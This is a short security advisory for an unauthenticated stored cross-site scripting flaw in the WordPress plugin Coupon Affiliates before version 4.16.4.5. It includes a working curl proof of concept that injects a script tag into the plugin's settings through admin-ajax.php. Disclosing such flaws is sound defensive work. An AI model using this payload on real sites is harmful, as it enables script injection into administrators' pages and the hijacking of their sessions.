Coupon Affiliates < 4.16.4.5 - Unauthenticated Stored XSS

Description

The plugin does not have authorization and CSRF checks on a specific action handler, as well as does not sanitize its settings, which enables an unauthenticated attacker to inject malicious XSS payloads into the settings page of the plugin.

Proof of Concept

curl https://example.com/wp-admin/admin-ajax.php --data 'action=wcu-update-text&option=wcusage_field_orders&value="></input><script>alert("xss");</script><input'



The XSS will be triggered in the Settings page of the plugin (/wp-admin/admin.php?page=wcusage_settings) 

References

https://wpscan.com/vulnerability/c43fabb4-b388-462c-adc4-c6b25af7043b